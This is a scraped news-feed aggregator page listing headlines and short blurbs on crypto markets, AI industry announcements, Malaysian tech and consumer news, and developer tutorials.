    Title: The Future of Game Development: John Romero on the Rise of Indies As the gaming industry continues to evolve, it's becoming increasingly clear that indie games are the future of game development. In a recent interview, John Romero, co-founder of id Software and one of the pioneers of the first-person shooter genre, shared his thoughts on the subject. "These people are the ones that make triple-A studios go, 'Wait a minute, we need to start doing this,'" Romero said. "They're pushing the boundaries of what's possible in gaming, and they're proving that you don't need a big budget to create something truly special." One of the key advantages of indie games is their ability to take risks and experiment with new ideas. With smaller budgets and fewer resources, indie developers are fre…  ( 4 min )
    Custom Domain for Web Apps on Cloud Run - How to Set Up Application Load Balancer on GCP
    This guide will walk through the steps of setting up a load balancer for Cloud Run instances in GCP. As well as the other features a load balancer offers, primarily our outcome will be a static outbound IP which we can then use in a DNS service of choice to configure a custom domain. Some other articles of mine that may be of interest: How to Set Up a Static Backend IP for Cloud Run Revision using VPC Connector Using GCP Load Balancer to Handle 301 Redirects to Other Domains Let's get started! You should already have a Cloud Run instance deployed This will roughly follow the guide as per Set up a classic Application Load Balancer in the docs. Step 1: Create a new load balancer, choosing the following: Application Load Balanacer (HTTP/HTTPS) Public facing (external) Best for global workload…  ( 4 min )
    Part 6: ERC-20 Tokens with web3.py - Balances, Transfers, and Approvals
    In our previous post, we explored the crucial role of blockchain standards in enabling interoperability and composability within the decentralized ecosystem. We learned that standards like ERC-20 provide a common language for smart contracts and applications to interact seamlessly. Today, we're putting that understanding into practice by diving deep into the most widely adopted token standard on Ethereum: ERC-20 tokens. If you've ever held cryptocurrencies like USDC, DAI, UNI, or even wrapped Bitcoin (WBTC) on Ethereum, you've interacted with ERC-20 tokens. An ERC-20 token is a standard for fungible (interchangeable) tokens on the Ethereum blockchain. "Fungible" means each unit of the token is identical to any other unit, Just like one dollar note is interchangeable with another, or one Bi…  ( 10 min )
    How AI Fuels Our Dream of Living on Mars
    AI: The Unseen Power Behind Mars Dreams Did you know NASA’s Curiosity Rover can make decisions on its own — without waiting hours for commands from Earth? Yup. That little rolling science lab has some serious brains, thanks to onboard AI. And that’s not just cool — it’s game-changing when you think about how far away Mars actually is. (Spoiler: very, very far.) Let’s get real here for a second — we’ve all dreamt of space, right? Floating in zero gravity, building cities on Mars, sipping coffee while gazing at Saturn’s rings (okay, maybe that’s just me). But when you start looking under the hood of what it actually takes to live on another planet, things get complicated. I mean, Mars isn’t just across the country — it's a whole planet away. Communication delays of up to 22 minutes, extrem…  ( 14 min )
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  • Open

    MARA Shares Jump as Q2 Revenue Beats Wall Street's Expectations Thanks to Surging BTC Price
    The bitcoin miner said the company posted its highest revenue quarter due to the average price of bitcoin surging 50% during the second quarter.
    Tornado Cash Developer Roman Storm Will Not Take the Stand, Lawyers Say
    After three days of witness testimony, Storm’s defense team rested their case on Tuesday.
    SEC Approves In-Kind Redemptions for All Spot Bitcoin and Ethereum ETFs
    The decision allows authorized participants to create and redeem ETF shares directly in BTC or ETH, rather than having to use cash.
    Michael Saylor's Strategy Makes Massive $2.4B Bitcoin Purchase With Preferred Stock Sale Proceeds
    The firm days ago sold nearly $2.5 billion of its new preferred series, dubbed STRC or "stretch," and quickly deployed the funds into BTC.
    Samourai Wallet Devs Expected to Plead Guilty to Money Laundering Charges
    Keonne Rodriguez and William Lonergan Hill both previously pleaded not guilty, but are expected to change their pleas in Manhattan on Wednesday morning.
    DOGE, SOL and XRP Lead Altcoin Losses as Rate Jitters and Leverage Unwind Hit Crypto
    Heavy declines across altcoins extended into a second week, while bitcoin and ether showed relative strength amid growing macro uncertainty.
    New Lummis Bill Would Back Effort to Ensure Crypto Assets Can Justify U.S. Mortgages
    U.S. Senator Cynthia Lummis introduced another crypto bill, this one meant to reinforce an effort underway to allow use of digital assets in mortgage underwriting.
    Crypto Has a Comms Issue
    Crypto doesn’t need stadium naming rights, Super Bowl ads and flashy celebrity campaigns. It just needs to post its very credible numbers, say Aubrey Strobel and Elena Nisonoff.
    NEAR Protocol Retreats 3% Amid Liquidation Cascade
    NEAR consolidates within constrained parameters before accelerated institutional selling precipitates breach of critical technical thresholds.
    BONK Drops 14% as Institutional Selling Accelerates in Risk-Off Environment
    Meme token drops sharply as major traders reduce holdings.
    EToro Plans to Tokenize U.S. Stocks on Ethereum in Blockchain Push
    The move is part of the firm's broader push towards enabling 24/7 trading with all kinds of assets using blockchain rails.
    ATOM Plunges 5% Despite Recovery Attempts Amid Bearish Pressure
    Cosmos hits 100-chain milestone as ATOM tests $4.56 support amid sustained selling pressure.
    Hong Kong Releases Guidance on Rules for Stablecoin Issuers
    The Hong Kong Monetary Authority encouraged firms to apply for a stablecoin license by the end of August.
    Polkadot's DOT Slips 3% as Failed Recovery Attempts Signal Weakness
    Support has been established in the $3.91-$3.93 range, with resistance between $4.03-$4.07.
    The Protocol of Agents: Web3’s MCP Potential
    The combination of Web3 and the influential Model Context Protocol (MCP) might just be a new foundation for decentralized AI, says Jesus Rodriguez, Co-founder of Sentora.
    Robinhood Price Target Doubled by JPMorgan on Crypto and Tokenization Bets
    Robinhood’s crypto expansion and introduction of EU tokenized equities spur a long-term valuation boost, analysts said.
    ETH Treasury Race Heats Up: BitMine Still Ahead Despite SharpLink's Latest Ether Purchase
    SharpLink has now bought more than 438,000 ETH, but BitMine’s total holdings exceed 625,000 ETH — highlighting the fierce competition between the two largest ETH treasury players.
    New Ether Treasury Firm 'ETHZilla' Emerges With $425M Funding and a DeFi Twist
    The transaction was backed by sixty institutional and crypto-native investors, including Polychain Capital, GSR.
    SharpLink Acquired 77K More ETH, Boosting Holdings Over $1.6B
    The firm, led by Joesph Lubin, has emerged as one of the largest corporate ether holders since its pivot to a crypto treasury strategy.
    CoinDesk 20 Performance Update: Stellar (XLM) Gains 2.1% as Index Inches Higher
    Hedera (HBAR) was also among the top performers, rising 1.8% from Monday.
    MARA, Holder of Nearly $6B BTC, Raises $950M to Buy More Bitcoin
    MARA Holdings holds roughly 50,000 BTC, valued at nearly $6 billion, ranking it as the second-largest bitcoin holder among public companies
    BitMine Immersion Sets Up to $1B Buyback as Share Price Cools
    The Tom Lee-led company signaled an intent to possibly repurchase stock should the share value decline below the net asset value of its ether holdings.
    Coinbase Reaps Growing Rewards from Circle Ties and USDC Economics: JPMorgan
    In the first quarter of this year alone, Coinbase earned roughly $300 million in distribution payments from Circle, and that's just the start.
    ECB Says U.S.-Backed Stablecoin Use in EU Could Weaken Its Monetary Autonomy
    U.S. dollar stablecoins will cement their dominance unless alternatives like the digital euro arise, an adviser to the European Central Bank said.
    Bitcoin's Bollinger Bands Tightest Since February; XRP, SOL Establish Lower Highs
    BTC's Bollinger bands are now at their tightest since February.
    Linea to Burn ETH With Every Transaction in Bold L2 Upgrade
    Linea’s updated roadmap introduces ETH-native staking on bridged assets, a protocol-level ETH burn mechanism, and the allocation of 85% of its token supply to ecosystem development.
    DeFi Dev Boosts Solana Treasury to $218M After Latest Purchase
    The Nasdaq-listed firm funded the acquisition by its $5 billion standing equity line of credit facility.
    Ether Treasury Companies to Eventually Own 10% of Supply: Standard Chartered
    Corporate treasuries have bought 1% of all ether in circulation since the beginning of June, the report said.
    ARK Invest Buys the Dip on Ether Strategy Firm BitMine With $18.6M Purchase
    Cathie Wood's investment firm added a total of 529,366 BMNR shares to its Innovation and Next Generations Internet ETFs
    Whale Revives Profit-Taking Concerns as Bitcoin Holds Flat: Crypto Daybook Americas
    Your day-ahead look for July 29, 2025
    CoinDCX Dismisses Report of Coinbase Acquisition Talks
    CoinDCX's CEO denied reports of a potential acquisition by Coinbase, emphasizing the company's focus on India.
    Bitmain Plans Its First U.S. Crypto Mining Facility: Bloomberg
    The plant will mark a significant shift for Bitmain, which currently produces mining hardware in southeast Asia.
    Crypto Fund JellyC Teams Up With Standard Chartered, OKX for Secure Crypto Trading
    JellyC is working with OKX and Standard Chartered to use cryptocurrencies and tokenized money market funds as off-exchange collateral.
    D2X Raises $5M to Expand Crypto Derivatives Exchange for Institutions
    CMT Digital, Circle Ventures and Point72 back Amsterdam-based D2X as it targets crypto futures and options
    UAE Lender RAKBANK Offers Retail Customers Crypto With Bitpanda
    Customers can now buy, sell, and swap crypto via RAKBANK’s app through Bitpanda’s regulated platform.
    CoinShares Launches Zero-Fee SEI ETP With Staking Yield Across Europe
    Crypto ETPs in Europe are plentiful, yet they haven't been adopted the way spot bitcoin ETFs in the U.S. have.
    Bitcoin Demand Shift: Coinbase's 60-Day BTC Premium Streak is at Risk
    BTC's Coinbase premium is a key indicator of U.S. investor demand, with positive values reflecting strong buying pressure from institutions.
    DOGE Plunges 9% in Steep Sell-Off, But Rebounds from Critical Support Zone
    DOGE endured a sharp drawdown in the latest trading session and led losses among major tokens with a 9% slide. Here's what analytics point to next.
    Billionaire Ray Dalio Backs 15% Allocation to Bitcoin and Gold Amid U.S. Debt Spiral
    The comments are a notable shift from his 2022 recommendation of just 1–2% in bitcoin, reflecting growing concern over what Dalio calls a “debt doom loop.”
    XRP Accumulation Plan Boosts Hyperscale Data Stock by 12%
    The firm has begun accumulating XRP as part of a $10 million crypto treasury plan, sending shares up 12%.
    Asia Morning Briefing: Crypto Rally Stalls, ETH Flows May Decide What Comes Next
    ETF inflows collapse while leverage stays high. With altcoin appetite uncertain, market observers say ETH may decide if markets rebound or cool further.
  • Open

    eToro to tokenize 100 most popular US stocks on Ethereum
    The company plans to offer the most popular US stocks as ERC-20 tokens on the Ethereum network, enabling 24/5 trading and DeFi integration.
    XRP open interest sheds $2.4B: Is a price crash next?
    XRP futures data shows neutral sentiment despite the altcoin’s double-digit price drop from $3.66.
    US Senate bill seeks to include crypto in mortgage approval process
    If passed, the legislation could give more weight to a US housing regulatory agency’s June order to consider certain digital assets for mortgage loan risk assessments.
    SEC votes to allow in-kind redemptions for crypto ETPs
    SEC Chair Paul Atkins said the new rules will make crypto exchange-traded products "less costly and more efficient."
    Bitcoin bulls aim to chase liquidity at $122K, but Q3 seasonality could stall breakouts
    Bitcoin eyes upside breakout to $122,000, but fading spot ETF flows, lack of volumes and seasonality could stall bullish momentum thereafter.
    ‘A joke in poor taste’: Tornado Cash T-shirt stirs controversy in court
    Both prosecutors and defense attorneys have made statements in court about a T-shirt Roman Storm wore at a 2019 Ethereum conference in Boston.
    BitMine’s $1B repurchase plan favors shares over more ETH — for now
    With its stock trading below net asset value, BitMine has chosen to focus on buybacks instead of further growing its ETH reserve.
    ‘Largest’ volume skew for ETH confirms pivot to altcoins: Glassnode
    Surging ETH and BNB activity, alongside shifting USDT flows, are all signals that traders are pivoting into altcoins.
    Bitcoin price gained 50% the last time its volatility fell this low
    Traders are betting big on Bitcoin as calm markets and record-low volatility mask the bull’s intentions.
    White House steps in to delay CFTC chair vote
    A vote on prospective CFTC Chair Brian Quintenz was taken off the Senate Agriculture Committee’s agenda on Monday as the chamber heads into recess.
    Down 99%, biotech firm 180 Life Sciences pivots to crypto with ETH bet
    The Nasdaq-listed biotechnology firm is raising $425 million for its ETH strategy, joining a parade of penny stocks investing in cryptocurrencies as their business flounders.
    Altcoin rally led by ETH, BNB, AVAX, PENGU likely if Bitcoin range break occurs
    Bitcoin prepares for an impulse move, and if the upside is taken, ETH, BNB, AVAX and PENGU could explode higher.
    Ethereum ‘ready to explode’ as ETH price reclaims $3.8K, analysts say
    ETH continues to show strength with record open interest and high network activity as bulls expect an upside breakout soon.
    Twenty One Capital’s Bitcoin stash is bigger than initially expected
    Backed by Cantor Fitzgerald, Tether and SoftBank, Twenty One Capital now holds over 43,500 BTC, surpassing early projections, according to Bloomberg.
    Bitcoin slides below $117.5K amid warnings further BTC price drops next
    BTC price action turns weaker after the Wall Street open, with Bitcoin market participants bracing for lower levels despite bullish US macro data.
    Bitcoin analysts say this must happen for BTC price to hit new highs
    Bitcoin needs to regain momentum with higher trading volumes for BTC to clear the next big hurdle at $120,000 and reenter price discovery.
    Pyth Network brings Hong Kong stock prices onchain for global access
    Pyth Network has launched live, onchain price feeds for 85 major Hong Kong stocks, removing access barriers and enabling real-time financial data integration.
    The GENIUS Act passed and DePIN should be next
    The next frontier for crypto innovation is clear: Decentralized physical infrastructure networks need a tailored legal framework to unlock their full potential. It’s time for lawmakers to provide regulatory clarity for DePIN.
    Why is India investigating Binance and WazirX over crypto loopholes?
    Binance and WazirX face scrutiny as India investigates cross-border wallet flows and security risks. Globally, investigative agencies have been acting against illicit crypto funding.
    SuperRare $730,000 exploit was easily preventable — Experts weigh in
    A critical access control bug in SuperRare’s staking contract — easily detectable by unit tests or even ChatGPT — allowed an attacker to steal $731,000 in RARE tokens.
    IONOS’ InternetX plans to tokenize 22M domains through Doma Protocol
    InternetX partners with D3’s Doma Protocol to tokenize 22 million domains, aiming to bring traditional web domains into the Web3 ecosystem.
    How to use Google Gemini for smarter crypto trading
    Google Gemini Flash 2.5 can streamline research, spot patterns, analyze sentiment and refine your crypto trading strategies. Just remember: AI assists, but you’re still the one making the call.
    Corporations have acquired 1% of Ether supply: Standard Chartered
    Corporations have accumulated 1% of all Ether since June, with Standard Chartered forecasting 10% ownership as institutional appetite for ETH continues to grow.
    Former SEC official joins Veda as General Counsel amid DeFi expansion
    Veda protocol has appointed former SEC senior counsel TuongVy Le as general counsel, weeks after securing $18 million in venture capital funding.
    China’s JD.com registers ‘Jcoin’ ahead of Hong Kong stablecoin regime
    China’s JD.com announced plans for a Hong Kong dollar stablecoin last summer and is now expected to be among the first issuers under HKMA’s stablecoin regime.
    Hong Kong finalizes stablecoin rules, launches public registry
    The HKMA completed stablecoin regulations set to take effect Aug. 1, warning no licenses have been issued and urging caution against hype and scams.
    Linea airdrop: 85% to users, builders as L2 seeks Ethereum alignment
    Declan Fox, global product lead for Linea, said there is no exact date for the token generation event yet, but details will be shared a week before.
    Bitmain to open first US-based ASIC chip factory: Bloomberg
    Leading Bitcoin mining ASIC manufacturer Bitmain is set to open its first US-based production facility by early 2026 amid a broader industry shift to the US.
    RAKBANK becomes the first UAE bank to offer crypto trading for retail
    RAKBANK became the first traditional bank in the UAE to enable crypto trading for retail users through its mobile app, powered by Bitpanda.
    Bubblemaps flags ‘Rugproof’ launchpad over alleged rug pull risk
    Blockchain analytics firm Bubblemaps flagged Solana’s Rugproof for suspicious token activity, alleging a deceptive launch structure that mimics a rug pull setup.
    Cboe files to list staked Injective ETF from Canary Capital
    The Cboe has filed to list Canary Capital’s staked Injective ETF, potentially making it the third staked crypto ETF following Solana and Ether.
    Bitcoin price shrugs off potential new $450M Galaxy Digital BTC sale
    Bitcoin seemed unfazed at new transactions from Galaxy Digital, with “most” of the BTC ending up in exchange accounts.
    ARK Invest adds $20M in BitMine, trims Coinbase, Block, Robinhood holdings
    Cathie Wood’s ARK Invest adds $20 million in BitMine shares while scaling back exposure to Coinbase, Block and Robinhood amid its crypto portfolio reshuffle.
    US seeks to claim $2.4M in Bitcoin seized from ransomware group
    The US is seeking the forfeiture of 20.2 BTC seized by the Dallas FBI from the Chaos ransomware group, adding to the country’s proposed Strategic Bitcoin Reserve.
    Google search volume for stablecoins hit peak amid ‘parabolic’ growth
    Stablecoin searches reached an all-time high on Google as market cap topped a record $270 billion following passage of the GENIUS Act.
    Bakkt sells loyalty business to focus on being ‘pure-play crypto’
    Bakkt Holdings says it has agreed to sell its loyalty services business in its bid to focus purely on its crypto offerings.
    SharpLink’s Joe Lubin wants to buy ETH faster than any other firm
    SharpLink Gaming is currently the second-largest Ethereum treasury firm after BitMine Immersion Technologies.
    BitMine tanks 27% despite touting ETH’s implied value at $60K
    David Grider, a partner at venture capital firm Finality Capital, said he thinks the Ether treasury company boom should bode well for the long-term price and inflows of the token.
    Nasdaq-listed Mill City Ventures earmarks $441M toward Sui treasury
    Mill City Ventures has become the first public company to invest in a Sui treasury after a $450 million raise, betting on blockchain’s AI and DeFi capabilities.
    Update: CoinDCX denies it’s in talks with Coinbase for acquisition deal
    CoinDCX has denied rumors that Coinbase is in “advanced discussions” to acquire the exchange, reiterating it is “super focused” on building India’s crypto story.
    Canadian vape company jumps 550% in pivot to BNB treasury firm
    CEA Industries shares are up nearly 550% as the vape company revealed plans to turn into a BNB treasury company backed by a firm tied to Binance co-founder Changpeng Zhao.
    Evolving ETH futures data hints a potential rally to $5K
    ETH price corrected at the weekly open, but futures data pinpoints the possibility of a breakout to $5,000.
    Ray Dalio suggests putting 15% in Bitcoin, gold amid US ‘debt doom loop’
    Hedge fund manager Ray Dalio suggests investors put 15% into store-of-value assets amid America’s debt crisis.
  • Open

    AI vs. AI: Prophet Security raises $30M to replace human analysts with autonomous defenders
    Prophet Security raises $30 million to launch a fully autonomous AI cybersecurity platform that investigates and responds to threats without human intervention, promising 10x faster response times and 96% fewer false positives.  ( 10 min )
    Arcee opens up new enterprise-focused, customizable AI model AFM-4.5B trained on ‘clean, rigorously filtered data’
    Geared toward Arcee's growing list of enterprise customers and their needs and wants — specifically, a model trained without violating IP.  ( 8 min )
    Acree opens up new enterprise-focused, customizable AI model AFM-4.5B trained on ‘clean, rigorously filtered data’
    Geared toward Acree's growing list of enterprise customers and their needs and wants — specifically, a model trained without violating IP.  ( 8 min )
    Positron believes it has found the secret to take on Nvidia in AI inference chips — here’s how it could benefit enterprises
    The company’s first-generation chips were fabricated in the U.S. using Intel facilities, with final server assembly and integration.  ( 9 min )
    ChatGPT just got smarter: OpenAI’s Study Mode helps students learn step-by-step
    OpenAI launches ChatGPT Study Mode, transforming AI from an answer engine into a Socratic tutor that guides students through problems step-by-step rather than providing direct solutions.  ( 8 min )
    Stack Overflow data reveals the hidden productivity tax of ‘almost right’ AI code
    Stack Overflow survey shows that as more enterprise developers actually use AI tools, their expectations aren't being met by reality.  ( 9 min )
    Sparrow raises $35M Series B to automate the employee leave management nightmare
    Sparrow raises $35M Series B to scale AI-powered employee leave management platform that has grown 14x since 2021, serving 1,000+ companies and saving $200M in payroll costs.  ( 11 min )
    Writer launches a ‘super agent’ that actually gets sh*t done, outperforms OpenAI on key benchmarks
    Writer launches Action Agent, an autonomous AI that executes complex enterprise tasks across 600+ tools, outperforming OpenAI on key benchmarks in the $114B enterprise AI market.  ( 12 min )
  • Open

    Exclusive: A record-breaking baby has been born from an embryo that’s over 30 years old
    A baby boy born over the weekend holds the new record for the “oldest baby.” Thaddeus Daniel Pierce, who arrived on July 26, developed from an embryo that had been in storage for 30 and a half years. “We had a rough birth but we are both doing well now,” says Lindsey Pierce, his mother. “He…  ( 29 min )
    OpenAI is launching a version of ChatGPT for college students
    OpenAI is launching Study Mode, a version of ChatGPT for college students that it promises will act less like a lookup tool and more like a friendly, always-available tutor. It’s part of a wider push by the company to get AI more embedded into classrooms when the new academic year starts in September. A demonstration…  ( 21 min )
    The Download: how to store energy underground, and what you may not know about Trump’s AI Action Plan
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. This startup wants to use the Earth as a massive battery Texas-based startup Quidnet Energy just completed a test showing it can store energy for up to six months by pumping water underground.…  ( 21 min )
    What you may have missed about Trump’s AI Action Plan
    A number of the executive orders and announcements coming from the White House since Donald Trump returned to office have painted an ambitious vision for America’s AI future—crushing competition with China, abolishing “woke” AI models that suppress conservative speech, jump-starting power-hungry AI data centers. But the details have been sparse.  The White House’s AI Action…  ( 22 min )
    This startup wants to use the Earth as a massive battery
    Texas-based startup Quidnet Energy just completed a test showing it can store energy for up to six months by pumping water underground. Using water to store electricity is hardly a new concept—pumped hydropower storage has been around for over a century. But the company hopes its twist on the technology could help bring cheap, long-duration…  ( 20 min )
  • Open

    The $10 Billion Quarter: Where Smart Money Is Flowing in Crypto VC (Q2 2025)
    In Q2 2025, crypto VC funding surged to $10.03 billion, led by mega-deals, infra plays, and tokenization. Here’s where capital landed and what it signals for the next crypto cycle.  ( 9 min )
    Cryptocurrency Regulations and Execution Orders in 2025: All You Need to Know
    Discover 2025’s crypto policy changes, from executive orders to regulatory frameworks shaping DeFi and institutional adoption  ( 11 min )
    Alpenglow: 150ms transaction finality on Solana
    Solana is upgrading to 100x faster and deterministic transaction finality. Learn how Alpenglow unlocks speed and certainty for Solana.  ( 7 min )
  • Open

    ASUS Announces V400 AiO PC; Starts From RM3,799
    ASUS officially launched its new V400 AIO PC lineup. The series offers consumers looking for moderately powerful PCs but are also looking for something in the space-saving category. The V400 is available in two display sizes, 24-inches and 27-inches, and depending on the SKU, you either get a touch or non-touch display. It’s a little […] The post ASUS Announces V400 AiO PC; Starts From RM3,799 appeared first on Lowyat.NET.  ( 33 min )
    Fadillah: Peninsular Malaysia To Get Electricity Tariff Rebates In Coming Months
    Deputy Prime Minister Fadillah Yusof has announced that Peninsular Malaysia’s electricity tariffs will see a rebate of 1.45 sen/kWh next month. This is due to a drop in fuel costs, including gas and coal. For the current month of July, there was not fuel surcharge or rebate. Fadillah, who is also minister of energy transition […] The post Fadillah: Peninsular Malaysia To Get Electricity Tariff Rebates In Coming Months appeared first on Lowyat.NET.  ( 33 min )
    Tesla Touts Roadster 2.0 As The “Last Best Driver’s Car” Before Full Autonomy
    The Roadster is one of the iconic models from Tesla’s EV line-up. It was the first car in many aspects, including being the first highway-legal all-electric car to feature lithium-ion battery cells, and it was also the first EV to travel 393km on a single charge – at least according to claims. Many were also […] The post Tesla Touts Roadster 2.0 As The “Last Best Driver’s Car” Before Full Autonomy appeared first on Lowyat.NET.  ( 34 min )
    Earn Even More Discounts & Savings With The New & Improved GrabRewards!
    Grab has been, without a doubt, one of the most impactful apps to have occupied the smartphone app space. For over a decade, it has facilitated the transportation of people and items, making travelling and shopping easier! But did you know there’s now an exciting way to make your daily travels more rewarding – at […] The post Earn Even More Discounts & Savings With The New & Improved GrabRewards! appeared first on Lowyat.NET.  ( 35 min )
    Microsoft To Expand Xbox Age Verification Beyond UK
    The UK recently implemented additional checks under its Online Safety Act on its citizens. Among other things, the act makes it so that porn websites need to verify that visitors are of age first. This has extended to way beyond saucy online content, as Microsoft is also complying, and implementing similar requirements on Xbox. Worse […] The post Microsoft To Expand Xbox Age Verification Beyond UK appeared first on Lowyat.NET.  ( 34 min )
    inDrive: EVP Admin Issues Identified As Cause Behind Permit Revocation
    e-hailing platform inDrive confirmed that the temporary permit revocation issue was due to administrative errors related to E-Hailing Vehicle Permits (EVP), which have since been resolved. During a press conference held earlier today, country lead of inDrive Malaysia, Govin Kumaar, said the company had corrected the root of the issue with support from APAD. Additionally, […] The post inDrive: EVP Admin Issues Identified As Cause Behind Permit Revocation appeared first on Lowyat.NET.  ( 34 min )
    Works Minister: Toll Abolition Would Cost Govt Billions
    Last week, Prime Minister Datuk Seri Anwar Ibrahim announced a toll hike freeze for 10 highways. While this announcement may have made many Malaysians happy, there are some who still may question Pakatan Harapan’s pledge to abolish tolls during the 15th general election. This question was brought forward by Besut’s Member of Parliament Che Mohamad […] The post Works Minister: Toll Abolition Would Cost Govt Billions appeared first on Lowyat.NET.  ( 33 min )
    vivo X Fold5 Launches In Malaysia For RM6,999
    It’s official. vivo has pulled back the veil from the X Fold5, officially launching it in the Malaysian market. The phone, which launched in China initially, received SIRIM certification in May this year. Running through the specs quickly, the X Fold5 sports a 8.03-inch 2,480 x 2,200 inner screen and a 6.53-inch 2,748 x 1,172 […] The post vivo X Fold5 Launches In Malaysia For RM6,999 appeared first on Lowyat.NET.  ( 34 min )
    Sony RX1R III Now Available For Pre-Orders; Priced At RM20,999
    Earlier this month, Sony unveiled the successor to the RX1R II, the RX1R III. The company confirmed that this newest addition to its RX series of fixed lens cameras will be available locally. Now, Sony has opened pre-orders for the camera. To recap, the RX1R III comes with a ZEISS Sonnar T* 35mm F2 lens. […] The post Sony RX1R III Now Available For Pre-Orders; Priced At RM20,999 appeared first on Lowyat.NET.  ( 33 min )
    RM100 SARA: How To Redeem, And Everything Else You Need To Know
    Last week, Prime Minister Anwar Ibrahim announced RM100 cash aid as part of the Sumbangan Asas Rahmah (SARA) program. As natural as it is unfortunate, there have been scams and misinformation regarding the program. There are a few official channels highlighting the ways you can redeem your RM100, but the long and short of it […] The post RM100 SARA: How To Redeem, And Everything Else You Need To Know appeared first on Lowyat.NET.  ( 36 min )
    Sony Is Suing Tencent Over Clone Of Horizon IP
    In a move many of us probably saw coming from miles away, Sony is suing Tencent for copyright infringement of its Horizon IP. The Japanese electronics giant and owner of PlayStation says that Tencent’s clone, Light of Motiram, looks virtually identical in more ways than one. Tencent first announced Light of Motiram back in November […] The post Sony Is Suing Tencent Over Clone Of Horizon IP appeared first on Lowyat.NET.  ( 34 min )
    Fahmi: Stricter Enforcement Being Studied To Keep Kids Under 13 Off Social Media
    The Communications Ministry is looking into stronger enforcement mechanisms to prevent children under the age of 13 from creating social media accounts, according to its minister Datuk Fahmi Fadzil. Speaking in Parliament today on 29 July 2025, he pointed out that while most platforms already prohibit underage users, the rule is frequently ignored. “Unfortunately, if […] The post Fahmi: Stricter Enforcement Being Studied To Keep Kids Under 13 Off Social Media appeared first on Lowyat.NET.  ( 34 min )
    Honda Officially Unveils The N-ONE e EV
    Honda has unveiled the N-ONE e, a new kei electric vehicle (EV), following the debut of the light commercial N-VAN e in October 2024. The hatchback seems to be the base model for the Super EV Concept, which made its first appearance at the Goodwood Festival of Speed and was recently showcased at the ongoing […] The post Honda Officially Unveils The N-ONE e EV appeared first on Lowyat.NET.  ( 34 min )
    Apple iPhone 17 Pro Possibly Spotted In The Wild
    Apple is expected to unveil the iPhone 17 lineup in September. As usual, there has been no shortage of rumours and leaks ahead of the launch. Multiple leaksters have claimed that some of the phones in the series will feature a redesigned camera bar. Now, it seems one of the models has been seen in […] The post Apple iPhone 17 Pro Possibly Spotted In The Wild appeared first on Lowyat.NET.  ( 34 min )
    Sony Project Defiant Is Now PlayStation FlexStrike
    Early last month, Sony unveiled its own arcade stick under the PlayStation brand, called Project Defiant. Now, it has been given a proper name – FlexStrike – to fit the game genre it was made for. Unfortunately, despite the proper marketing name, the company has not shared an exact release date beyond the 2026 window. […] The post Sony Project Defiant Is Now PlayStation FlexStrike appeared first on Lowyat.NET.  ( 34 min )
    Microsoft Edge Gets AI-Powered Copilot Mode
    Microsoft has hopped onto the AI web browser bandwagon with the introduction of Copilot Mode in Edge. According to the company, this new experimental feature is its next step in creating “a more powerful way to pilot the web”. To start using Copilot Mode, the user must first navigate to the browser settings. The mode […] The post Microsoft Edge Gets AI-Powered Copilot Mode appeared first on Lowyat.NET.  ( 33 min )
    Insta360 Enters Drone Segment Via New “Antigravity” Sub-Brand
    Insta360 has officially launched a new chapter in its hardware journey by introducing a standalone drone-focused brand called Antigravity. According to the company, the sub-brand’s first drone is set to be unveiled sometime next month. Antigravity’s debut drone is still under wraps, but it’s already confirmed to feature 360-degree video capabilities, similar to Insta360’s popular […] The post Insta360 Enters Drone Segment Via New “Antigravity” Sub-Brand appeared first on Lowyat.NET.  ( 33 min )
    Kelana Jaya LRT Line To Undergo Upgrade; Weekend Disruptions From 9 Aug To 22 Nov 2025
    Commuters on the Kelana Jaya LRT Line are advised to take note of scheduled service disruptions on weekends and public holidays starting 9 August until 22 November 2025. This will be part of ongoing signalling system upgrades aimed at extending the line’s lifespan by two decades. According to Rapid KL operator Prasarana, the RM150 million […] The post Kelana Jaya LRT Line To Undergo Upgrade; Weekend Disruptions From 9 Aug To 22 Nov 2025 appeared first on Lowyat.NET.  ( 34 min )

  • Open

    How to Get Promoted from Senior to Staff Engineer – Tips from My Experience
    Navigating the journey from senior engineer to staff engineer can be daunting. Promotions are often confusing, and this particular leap can feel even more ambiguous. As someone who has successfully transitioned to a Staff Engineer role, I want to sha...  ( 15 min )
    How to Boost Conversions with UX-Focused Microcopy
    In this article, I’ll walk you through what microcopy is, why it matters more than you think, and how to write effective, empathetic, and high-converting microcopy. Whether you're a designer, writer, or product builder, you’ll learn practical tips, r...  ( 8 min )
    How to Build Database Seed Scripts for Your Node Application
    Database seed scripts are pre-written pieces of code that populate your database with initial data, serving as the foundation for a consistent development environment. These files contain structured data that follows real-world scenarios, letting you...  ( 17 min )
    Object-Oriented Design Patterns with Java
    In this article I will introduce some of the most useful object-oriented design patterns. Design patterns are solutions to common problems that show up over and over again. These problems will show up in many different contexts but always have the sa...  ( 8 min )
  • Open

    Chinese startup Z.ai launches powerful open source GLM-4.5 model family with PowerPoint creation
    GLM-4.5’s launch gives enterprise teams a viable, high-performing foundation model they can control, adapt, and scale.  ( 11 min )
    No more links, no more scrolling—The browser is becoming an AI Agent
    With rumors about a GPT-native browser, search is shifting from finding information to fulfilling tasks. No more links, no more scrolling.  ( 10 min )
    Anthropic throttles Claude rate limits, devs call foul
    Blaming users that run Claude Code 24/7, Anthropic instituted weekly rate limits for some Claude users resulting in backlash on social media.  ( 8 min )
    How E2B became essential to 88% of Fortune 100 companies and raised $21 million
    AI infrastructure startup E2B secures $21 million funding with 88% Fortune 100 adoption rate, powering secure AI agent deployments at scale.  ( 9 min )
  • Open

    Convert Any Picture into a Spreadsheet with FileConvertFree (Image to Excel Tool)
    Ever taken a photo of a table or data sheet and wished you could open it in Excel? Now you can — with FileConvertFree’s Image to Excel tool. Whether it’s a scanned receipt, a handwritten chart, or a screenshot of a report, FileConvertFree lets you upload the image and instantly turn it into a working Excel spreadsheet. No more manual typing. No more copy-paste disasters. It’s perfect for: Students who take pictures of classroom whiteboards or notes Freelancers who receive scanned invoices Business users working with printed data or old reports FileConvertFree uses smart table detection to preserve rows, columns, and formatting. Just upload your image and get back an .xlsx file ready for editing. File conversions shouldn’t be complicated — and with FileConvertFree, they aren’t.  ( 3 min )
    Say Goodbye to Unfair Performance Reviews with Team Vertex
